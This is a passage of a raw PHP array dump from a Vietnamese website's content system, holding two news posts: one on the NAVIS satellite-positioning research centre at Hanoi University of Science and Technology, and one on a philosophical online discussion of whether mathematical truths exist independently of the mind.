hợp trực thuộc Uỷ ban Châu Âu (EC) trong nghiên cứu tác động của tầng điện ly tại khu vực cận xích đạo lên chất lượng dịch vụ định vị.</div> <div> </div> <div> Việc hợp tác quốc tế, nhất là trong triển khai các dự án, đề tài NCKH với các đối tác hàng đầu trong lĩnh vực, tạo ra sức ép lớn với NAVIS trong việc thu hút, và phát triển đội ngũ nghiên cứu trình độ cao trong một lĩnh vực công nghệ cao, đầy mới mẻ không chỉ với Việt Nam mà còn trên thế giới. TS. Tạ Hải Tùng – Giám đốc Trung tâm chia sẻ: “Khi mới thành lập, Trung tâm chỉ có duy nhất 2 người được đào tạo chuyên sâu trong lĩnh vực. Làm thế nào để phát triển đội ngũ, mà phải “tinh” với kỹ năng làm việc quốc tế, chứ không chạy theo số lượng, trong bối cảnh không có biên chế nghiên cứu màphải tự chủ về nguồn thu là câu hỏi đau đáu với ban Giám đốc Trung tâm lúc bấy giờ”. Với sự ủng hộ mạnh mẽ của Ban Giám hiệu nhà Trường trong việc cung cấp cơ chế mở, cũng như hỗ trợ hết mình cho hợp tác quốc tế phát triển Trung tâm. NAVIS đã dần dần thu hút được các nhà khoa học trẻ trong trường, những người “bị” thuyết phục bởi kế hoạch và tiềm năng dài hạn của NAVIS để chấp nhận chuyển đổi hướng nghiên cứu theo định hướng của Trung tâm. Tuy nhiên, những người “dũng cảm” như thế không nhiều, vì vậy, NAVIS phải tự xây dựng đội ngũ thông qua đào tạo và giữ lại công tác các sinh viên xuất sắc của Trường ĐHBK Hà Nội và gửi hàng chục sinh viên theo các chương trình thực tập ngắn hạn, Thạc sỹ và Tiến sỹ trong chuyên ngành GNSS tại Châu Âu và Úc. Nhiều người trong số họ đã trở về, đóng góp lớn vào sự thành công bước đầu của Trung tâm. Và thực tế này lại đặt Trung tâm dưới một sức ép mới, làm sao để giữ những con người như vậy.</div> <div> </div> <div> <strong>“Đi bằng hai chân”</strong></div> <div> </div> <div> Với tầm quan trọng ngày càng gia tăng của định vị sử dụng vệ tinh trong mọi lĩnh vực của đời sống, từ dẫn đường, theo dõi đối tượng; đến nông nghiệp chính xác, giám sát môi trường, đồng bộ giao dịch tài chính, ngân hàng, viễn thông, năng lượng; cũng như những ứng dụng thiết yếu trong an ninh quốc phòng;nhiều nước trên thế giới đã và đang tự phát triển hệ thống vệ tinh định vị của riêng mình như Galileo (Châu Âu), GLONASS (Nga), Beidou (Trung Quốc), QZSS (Nhật Bản), IRNSS (Ấn Độ)…</div> <div> </div> <div> Việt Nam chúng ta hiện chưa có hệ thống vệ tinh định vị của riêng mình, và việc sử dụng dịch vụ hoàn toàn dựa vào các hệ thống của nước ngoài. Vì vậy, môi trường định vị đa hệ thống với nhiều lựa chọn về công nghệ và dịch vụ mới có ý nghĩa vô cùng quan trọng đối với Việt Nam trong việc giảm bớt sự phụ thuộc vào một hệ thống riêng lẻ, nâng cao độ chính xác, và đặc biệt là tính sẵn sàng và độ tinh cậy của định vị sử dụng vệ tinh.</div> <div> </div> <div> Nhận thức được vấn đề đó, NAVIS đã nghiên cứu và chế tạo thành công bộ thu định vị đa hệ thống NAVISOFT. NAVISOFT có thể hoạt động được với tất cả các hệ thống GNSS hiện tại (bao gồm: GPS/GLONASS/Galileo/Beidou), cũng như hệ thống cấp khu vực QZSS của Nhật Bản. Sản phẩm này đặc biệt có ý nghĩa đặc biệt quan trọng trong các lĩnh vực đặc thù, nơi không phải độ chính xác mà độ tin cậy của kết quả định vị mới được quan tâm nhiều nhất. Với sản phẩm này, NAVIS đã được Cơ quan Vũ trụ Châu Âu (ESA) chứng nhận là một trong 50 đơn vị đầu tiên trên thế giới (một trong ba đơn vị tại Châu Á, cùng với Nhật Bản và Trung Quốc) đã sử dụng thành công dịch vụ định vị sử dụng vệ tinh của Galileo.</div> <div> </div> <div> Bộ thu độ chính xác cao NAVISA với các nghiên cứu cải tiến phù hợp với điều kiện hoạt động ngoài biển, kết hợp với các phần mềm xử lý, tính toán dữ liệu có thể giải quyết bài toán quan trọng liên quan đến theo dõi sự dịch chuyển và cảnh báo an toàn của nhà giàn chủ quyền trên biển Đông trong điều kiện thiên tai khắc nghiệt. Tuy nhiên, quy trình đề xuất, xét duyệt phức tạp, kéo dài, đã cản trở việc triển khai đề tài, dù ai cũng nhận ra tính cấp bách của nó.</div> <div> <br /> Ngoài ra, người sử dụng thông thường chỉ làm quen với các dịch vụ định vị tiêu chuẩn với độ chính xác cỡ 5-10m, tuy nhiên, hiện tại công nghệ định vị chính xác (precise positioning) rất phát triển, cung cấp cho người sử dụng chuyên biệt trong các lĩnh vực như trắc địa, xây dựng bản đồ, điều khiển phương tiện tự hành… các dịch vụ định vị có độ chính xác rất cao (cỡ mm, cm). Tại Việt Nam, giá thành của các bộ thu định vị chính xác ngoại nhập, đặc biệt các bộ thu cho kết quả theo thời gian thực có giá thành từ vài trăm triệu đến cả tỷ đồng, là cản trở rất lớn tới sự ứng dụng của công nghệ quan trọng này. Trong bối cảnh đó, NAVIS đã chế tạo thành công bộ thu NAVISA với tính năng đáp ứng đầy đủ các tiêu chuẩn của một bộ thu định vị chính xác.“Nhưng con đường đưa sản phẩm KHCN vàothực tiễn không hề đơn giản. Sự cản trở đôi khi đến từ tâm lý nghi kỵ các sản phẩm NCKH do các nhà khoa học Việt Nam tạo ra của các doanh nghiệp cũng như các đơn vị có nhu cầu” TS. Tùng nói. Tuy nhiên, từng bước một, để xây dựng lòng tin, NAVIS tạo điều kiện cho các doanh nghiệp có nhu cầu dùng thử sản phẩm của mình, cán bộ đã đến tận hiện trường để chứng minh năng lực của thiết bị.</div> <div> </div> <div> Bên cạnh nghiên cứu ứng dụng, NAVIS cũng đang triển khai các định hướng nghiên cứu hàn lâm. Theo TS. Tạ Hải Tùng, “Bây giờ là thời điểm vàng để nghiên cứu định vị sử dụng vệ tinh”. Bởi đến năm 2020, khi các hệ thống ngoài GPS phát triển hoàn thiện, với hơn 30 vệ tinh từ tất cả các hệ thốngxuất hiện đồng thời tại mọi thời điểm (nhiều nhất trên toàn thế giới), Đông Nam Á sẽ là địa điểm “lý tưởng” cho nghiên cứu về định vị. Tuy nhiên do gần xích đạo nơi có tầng điện ly hoạt động bất thường, nênĐNA cũng là nơi có chất lượng dịch vụ định vị không tốt so với các khu vực ở vĩ độ cao. Vì vậy, những mô hình dự báo hoạt động của tầng điện ly của các hệ thống GNSS hiện nay (vốn được thiết kế tối ưu cho khu vực vĩ độ cao) đáp ứng không hiệu quả ở Đông Nam Á. Cùng với các đối tác, NAVIS đang tiến hành các nghiên cứu sử dụng tín hiệu GNSS để phân tích các đặc trưng của tầng điện ly trong khu vực, nhằm mục đích nâng cao chất lượng định vị. Bên cạnh đó, trung tâm cũng triển khai các nghiên cứu quan trọng liên quan tới “an ninh”trong định vị để giải quyết các bài toán liên quan đến phá sóng, và giả mạo tín hiệu GPS, có ý nghĩa tối quan trọng trong an ninh – quốc phòng.</div> <div> </div> <div> Là một tố chức nghiên cứu trong trường đại học, TS. Tạ Hải Tùng xác định NAVIS sẽ phải tập trung song song nghiên cứu ứng dụng và nghiên cứu hàn lâm mà anh gọi đó là “hai chân” của trung tâm: “Chúng tôi sẽ đầu tư về con người, kết hợp với các dự án trong nước và quốc tế để ‘đi bằng hai chân’. Nhưng về lâu dài, một đơn vị nghiên cứu cần phải có các sản phẩm nghiên cứu cụ thể và phối hợp với các doanh nghiệp, tổ chức để áp dụng vào thực tế. Điều này nếu thành công sẽ tạo ra nguồn thu ổn định lâu dài cho Trung tâm. Từ đó, chúng tôi sẽ đầu tư trở lại cho nghiên cứuhàn lâm, tạo điều kiện phát triển đội ngũ NCKH trình độ cao, sẵn sàng cho những thách thức, và cơ hội phát triển mới”.</div> ', 'images' => '201606160308358deddf03f08b1252c7983c2c650c0410.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-18', 'status' => '1', 'view' => '62952', 'slug' => 'ap-luc-tu-hop-tac-quoc-te', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '711', 'rght' => '712', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 6 => array( 'Post' => array( 'id' => '410', 'name' => 'Sự thật toán học (Theo Sổ tay Thích Học Toán)', 'code' => null, 'alias' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Có một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> <br /> <strong>Từ một cuộc gặp</strong><br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (2).jpg" style="width: 250px; height: 188px;" /></div> <div> </div> <div> Câu chuyện này bắt đầu từ một buổi gặp mặt và tán gẫu giữa hai người bạn, tuy ở xa nhưng lại gặp nhau trong một quán café ở Hà Nội, về một trong những chủ đề muôn thuở của con người: Triết học. Đó là Hoàng Hồng Minh (Minh) – ở Paris, Pháp và Giáp Văn Dương (Dương)– khi đó mới ở Liverpool, Anh – về chơi. Đến giờ, không ai nhớ được chi tiết cả hai đã nói những gì trong buổi gặp đó. Nhưng có một thứ chắc chắn là anh Minh nói về khái niệm “tha hóa” và cho rằng, việc hiểu “tha hóa” như cách hiểu hiện giờ là không chính xác, còn Dương thì nói về các “dạng thức ” (forms) của Plato trong liên hệ với khái niệm tha hóa mà anh Minh đề cập. Kết thúc buổi trò chuyện, Dương cho rằng, nếu có một nhà toán học nữa tham gia thảo luận thì thật thú vị, vì các hệ thức toán học, có thể coi như một “dạng thức” của Plato.</div> <div> </div> <div> Năm tháng sau, câu chuyện trở lại, với sự tham gia của một nhà toán học, đó là Ngô Bảo Châu (Châu), lúc này đang ở Chicago, Mỹ. Tuy là tán gẫu qua mạng, lại từ ba nước khác nhau và lệch múi giờ nhau hoàn toàn, nhưng vẫn không kém phần thú vị so với những cuộc tán gẫu thực ở ngoài đời, bên ấm trà hay tách café nóng.</div> <div> </div> <div> Chủ đề của cuộc tán gẫu là Sự thật toán học. Cách xưng hô được giữ nguyên như nó vốn có trong giao tiếp hằng ngày, lấy sự thân quen và tuổi tác làm cơ sở.</div> <div> </div> <div> <strong>Dẫn chuyện</strong></div> <div> </div> <div> Galileo – cha đẻ của khoa học hiện đại – cho rằng “Tự nhiên là cuốn sách được viết bởi ngôn ngữ Toán học”. Tất cả những định luật của khoa học tự nhiên đều được phát biểu dưới dạng những biểu diễn toán học như các phương trình, các bất đẳng thức.</div> <div> </div> <div> Tính đúng đắn của các phương trình, rộng hơn là các quan hệ toán học, trong điều kiện biên xác định, được thừa nhận là bất biến. Vì thế, chúng được gọi là những sự thật toán học. Điều này đôi khi dẫn đến ngộ nhận: chân lý khoa học là bất biến vì các sự thật toán học là bất biến.</div> <div> </div> <div> Chính tính bất biến của các sự thật toán học là nền tảng vững chắc cho việc xây dựng tòa lâu đài tri thức của con người về giới tự nhiên. Nếu tính bất biến của các sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề 